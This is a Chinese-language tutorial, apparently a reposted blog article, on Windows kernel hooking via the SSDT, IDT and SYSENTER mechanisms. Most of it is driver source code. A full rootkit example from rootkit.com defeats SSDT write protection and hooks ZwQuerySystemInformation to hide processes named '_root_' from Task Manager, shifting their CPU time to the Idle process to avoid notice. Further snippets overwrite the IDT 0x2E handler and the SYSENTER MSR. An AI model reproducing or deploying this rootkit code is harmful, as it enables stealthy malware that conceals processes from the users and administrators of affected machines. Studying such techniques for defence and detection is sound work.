SSDT-hook,IDT-hook原理
来源：互联网 发布：青岛seo关键词报价 编辑：程序博客网 时间：2024/05/20 04:47
【详细过程】
这次主要说说核心层的hook。包括SSDT-hook，IDT-hook，sysenter-hook。欢迎讨论，指正！内核层需要驱动，有这方面的基础最好，如果不会，了解下其中的思路也可以的。
II. SSDT-hook,IDT-hook，sysenter-hook
一.SSDT-hook
(一)一般思路:
1.先来了解一下,什么是SSDT
SSDT既System Service Dispath Table。在了解他之前，我们先了解一下NT的基本组建。在 Windows NT 下，NT 的 executive（NTOSKRNL.EXE 的一部分）提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务，但由于子系统不同，API 函数的函数名也不同。例如，要用Win32 API 打开一个文件，应用程序会调用 CreateFile()，而要用 POSIX API，则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。
用户模式（User mode）的所有调用，如Kernel32,User32.dll, Advapi32.dll等提供的API，最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式，通过服务ID,在System Service Dispatcher Table中分派系统函数，举个具体的例子，再如下图
从上可知，SSDT就是一个表，这个表中有内核调用的函数地址。从上图可见，当用户层调用FindNextFile函数时，最终会调用内核层的NtQueryDirectoryFile函数，而这个函数的地址就在SSDT表中，如果我们事先把这个地址改成我们特定函数的地址，那么，哈哈。。。。。。。下来详细了解一下，SSDT的结构，如下图：
SSDT.jpg
SSDT.JPG
KeServiceDescriptorTable：是由内核（Ntoskrnl.exe）导出的一个表，这个表是访问SSDT的关键，具体结构是
typedef struct ServiceDescriptorTable {
PVOID ServiceTableBase;
PVOID ServiceCounterTable(0);
unsigned int NumberOfServices;
PVOID ParamTableBase;
}
其中，
ServiceTableBase System Service Dispatch Table 的基地址。
NumberOfServices 由 ServiceTableBase 描述的服务的数目。
ServiceCounterTable 此域用于操作系统的 checked builds，包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
ParamTableBase 包含每个系统服务参数字节数表的基地址。
System Service Dispath Table（SSDT）：系统服务分发表，给出了服务函数的地址，每个地址4子节长。
System Service Parameter Table(SSPT)：系统服务参数表，定义了对应函数的参数字节，每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
还有一种这样的表，叫KeServiceDescriptorTableShadow，它主要包含GDI服务，也就是我们常用的和窗口，桌面有关的，具体存在于Win32k.sys。在如图：
右侧的服务分发就通过KeServiceDescriptorTableShadow。
那么下来该咋办呢？下来就是去改变SSDT所指向的函数，使之指向我们自己的函数。
2．Hook前的准备-改变SSDT内存的保护
系统对SSDT都是只读的，不能写。如果试图去写，等你的就是蓝脸。一般可以修改内存属性的方法有：通过cr0寄存器及Memory Descriptor List(MDL)。
（1）改变CR0寄存器的第1位
Windows对内存的分配，是采用的分页管理。其中有个CR0寄存器，如下图：
CR0.jpg
cr0.jpg
其中第1位叫做保护属性位，控制着页的读或写属性。如果为1，则可以读/写/执行；如果为0，则只可以读/执行。SSDT，IDT的页属性在默认下都是只读，可执行的，但不能写。所以现在要把这一位设置成1。
（2）通过Memory Descriptor List(MDL)
也就是把原来SSDT的区域映射到我们自己的MDL区域中，并把这个区域设置成可写。MDL的结构：
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags; //关键在这里，将来设置成MDL_MAPPED_TO_SYSTEM_VA ，这样一来，这块区域就可写
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
首先需要知道KeServiceDscriptorTable的基址和入口数，这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成
MDL_MAPPED_TO_SYSTEM_VA ，那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下：
//先声明一个System Service Descriptor Table，我们知道SSDT及SSPT都从这个表中指向
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
/
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// 代码
// 保存原系统调用位置
// 映射我们的区域
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的flags
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
//在内存中索定，不让换出
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
现在遇到的第一个问题解决了，但接着面临另外一个问题，如何获得SSDT中函数的地址呢？
3．四个有用的宏
SYSTEMSERVICE macro：可以获得由ntoskrnl.exe导出函数,以Zw*开头函数的地址，这个函数的返回值就是Nt*函数，Nt*函数的地址就在SSDT中
SYSCALL_INDEX macro：获得Zw*函数的地址并返回与之通信的函数在SSDT中的索引。
这两个宏之所以能工作，是因为所有的Zw*函数都开始于opcode：MOV eax, ULONG，这里的ULONG就是系统调用函数在SSDT中的索引。
HOOK_SYSCALL和UNHOOK_SYSCALL macros：获得Zw*函数的地址，取得他的索引，自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
这四个宏具体是：
#define SYSTEMSERVICE(_func) /
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) /
_Orig = (PVOID) InterlockedExchange( (PLONG) /
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) /
InterlockedExchange((PLONG) /
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
4．小试牛刀：利用SSDT Hook隐藏进程
我们所熟知的任务管理器，能察看系统中的所有进程及其他很多信息，这是由于调用了一个叫ZwQuerySystemInformation的内核函数，具体结构是：
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass, //如果这值是5，则代表系统中所有进程信息
IN PVOID SystemInformation, //这就是最终列举出的信息，和上面的值有关
IN ULONG SystemInformationLength, //后两个不重要
OUT PULONG ReturnLength)
如果用我们自己函数，这个函数可以把我们关心的进程过滤掉，再把它与原函数调换，则可达到隐藏的目的，大体思路如下：
（1） 突破SSDT的内存保护，如上所用的MDL方法
（2） 实现自己的NewZwQuerySystemInformation函数，过滤掉以某些字符开头的进程
（3） 用上面介绍的宏来交换ZwQuerySystemInformation与我们自己的New*函数
（4） 卸载New*函数，完成
具体实例：来自Rootkit.com，我做了注释，代码也很精小。
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//获得SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) /
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) /
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//声明各种结构
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
// Added by Creative of rootkit.com
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;
//我们的hook函数，过滤掉以"_root_"开头的进程
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// 列举系统进程链表
// 寻找以"_root_"开头的进程
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x/n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // Idle process入口
{
// 把_root_进程的时间加给Idle进程，Idle称空闲时间
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// 重设时间，为下一次过滤
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // 列举系统进程时间
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload called/n");
// 卸载hook
UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
// 解索并释放MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
// 注册一个卸载的分发函数，与与应用层沟通
theDriverObject->DriverUnload = OnUnload;
// 初始化全局时间为零
// 这将会解决时间问题，如果不这样，尽管隐藏了进程，但时间的消耗会不变，cpu 100%
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
// 储存旧的函数地址
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
// 把SSDT隐射到我们的区域，以便修改它为可写属性
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的Flags属性为可写，既然可写当然可读，可执行
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
// 用了宏，把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步，先突破了SSDT的保护，接着用宏更改了目标函数，下来就剩下具体的过滤任务了
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
return STATUS_SUCCESS;
}
二．IDT hook
（一）基本思路：IDT(Interrupt Descriptor Table)中断描述符表，是用来处理中断的。中断就是停下现在的活动，去完成新的任务。一个中断可以起源于软件或硬件。比如，出现页错误，调用IDT中的0x0E。或用户进程请求系统服务(SSDT)时，调用IDT中的0x2E。而系统服务的调用是经常的，这个中断就能触发。我们现在就想办法，先在系统中找到IDT，然后确定0x2E在IDT中的地址，最后用我们的函数地址去取代它，这样以来，用户的进程（可以特定设置）一调用系统服务，我们的hook函数即被激发。
（二）需解决的问题：从上面分析可以看出，我们大概需要解决这几个问题：
1．IDT如何获取呢？SIDT指令可以办到，它可以在内存中找到IDT，返回一个IDTINFO结构的地址。这个结构中就含有IDT的高半地址和低半地址。为了方便把这两个半地址合在一起，我们可以用一个宏。IDTINFO，和宏的结构如下：
typedef struct
{
WORD IDTLimit;
WORD LowIDTbase; //IDT的低半地址
WORD HiIDTbase; //IDT的高半地址
} IDTINFO;
方便获取地址存取的宏
#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))<< 16))
2．IDT有最多256个入口，我们现在要的是其中的0x2E，这个中断号的入口地址如何获取呢？
#pragma pack(1)
typedef struct
{
WORD LowOffset; //入口的低半地址
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5; // stored TYPE ?
unsigned char DPL:2;
unsigned char P:1; // vector is present
WORD HiOffset; //入口地址的低半地址
} IDTENTRY;
#pragma pack()
知道了这个入口结构,就相当于知道了每间房（可以把IDT看作是一排有256间房组成的线性结构）的长度，我们先获取所有的入口idt_entrys，那么第0x2E个房间的地址也就可以确定了，即idt_entrys[0x2E]。
3．如果得到了0x2e的地址，如何用我们的hook地址改写原中断地址呢？ 见以下核心代码：
DWORD KiRealSystemServiceISR_Ptr; // 真正的2E句柄，保存以便恢复hook
#define NT_SYSTEM_SERVICE_INT 0x2e
//我们的hook函数
int HookInterrupts()
{
IDTINFO idt_info; //SIDT将返回的结构
IDTENTRY* idt_entries; //IDT的所有入口
IDTENTRY* int2e_entry; //我们目标的入口
__asm{
sidt idt_info; //获取IDTINFO
}
//获取所有的入口
idt_entries =
(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
//保存真实的2e地址
KiRealSystemServiceISR_Ptr =
MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
//获取0x2E的入口地址
int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
__asm{
cli; // 屏蔽中断，防止被打扰
lea eax,MyKiSystemService; // 获得我们hook函数的地址，保存在eax
mov ebx, int2e_entry; // 0x2E在IDT中的地址，ebx中分地高两个半地址
mov [ebx],ax; // 把我们hook函数的地半地址写入真是第半地址
shr eax,16 //eax右移16，得到高半地址
mov [ebx+6],ax; // 写入高半地址
sti; //开中断
}
return 0;
}
具体代码见：www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip
（三）注意点：
1.每个处理器都有个IDT,所以对于多CPU一定要注意，所有的IDT都要hook。
2．在winxp,win2k3,vsta下失效。
三．SYSENTRY hook
为了性能的考虑，xp后的系统都改用sysentry命令来进入ring0，去调用SSDT中的服务，不再是通过IDT中的 int 2E。这也使得我们hook也变得相对容易了。
首先获得sysentry的地址，然后改之，不用再考虑IDT了。见下面的代码：
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // 原ntoskrnl!KiFastCallEntry地址
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("ROOTKIT: OnUnload called/n");
}
// Hook function
__declspec(naked) MyKiFastCallEntry()
{
__asm {
jmp [d_origKiFastCallEntry] //这啥都没做，换成你想干的
}
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
theDriverObject->DriverUnload = OnUnload;
__asm {
mov ecx, 0x176
rdmsr // 读IA3_SYSENTER_EIP寄存器值，存有sysenter的地址
mov d_origKiFastCallEntry, eax //保存原值，以便恢复
mov eax, MyKiFastCallEntry // hook函数地址
wrmsr // 将hook函数移入IA32_SYSENTER_EIP寄存器
}
return STATUS_SUCCESS;
}
基本的改变数据结构的hook就说到这里，当然还有DKOM这种高级的技术，有兴趣的自己去看看吧。
by LvG（吕歌）
参考文献：<<Rootkits: Subverting the Windows Kernel >> rootkit.com
<<widows internels>> <<Undocumented NT>>
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